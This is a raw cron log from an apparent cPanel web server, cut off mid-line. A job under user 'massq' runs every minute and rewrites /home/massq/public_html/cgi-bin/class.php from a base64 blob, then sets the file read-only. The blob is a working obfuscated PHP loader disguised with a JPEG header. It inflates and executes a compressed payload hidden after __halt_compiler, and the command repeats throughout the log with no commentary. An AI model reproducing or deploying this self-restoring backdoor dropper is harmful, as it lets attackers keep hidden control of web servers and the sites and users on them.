"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:29:01 server CROND[20326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:30:01 server CROND[20394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:30:01 server CROND[20396]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 16:30:01 server CROND[20397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:30:01 server CROND[20398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:30:01 server CROND[20395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:31:01 server CROND[20528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:32:01 server CROND[20680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:33:01 server CROND[20741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:34:01 server CROND[20801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:35:01 server CROND[20860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:35:01 server CROND[20861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:35:01 server CROND[20863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:35:01 server CROND[20862]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 16:35:01 server CROND[20866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 16:36:01 server CROND[20979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:37:01 server CROND[21143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:38:01 server CROND[21208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:39:01 server CROND[21272]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 16:39:01 server CROND[21274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:40:01 server CROND[21349]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:40:01 server CROND[21350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:40:01 server CROND[21351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:40:01 server CROND[21352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:41:01 server CROND[21460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LC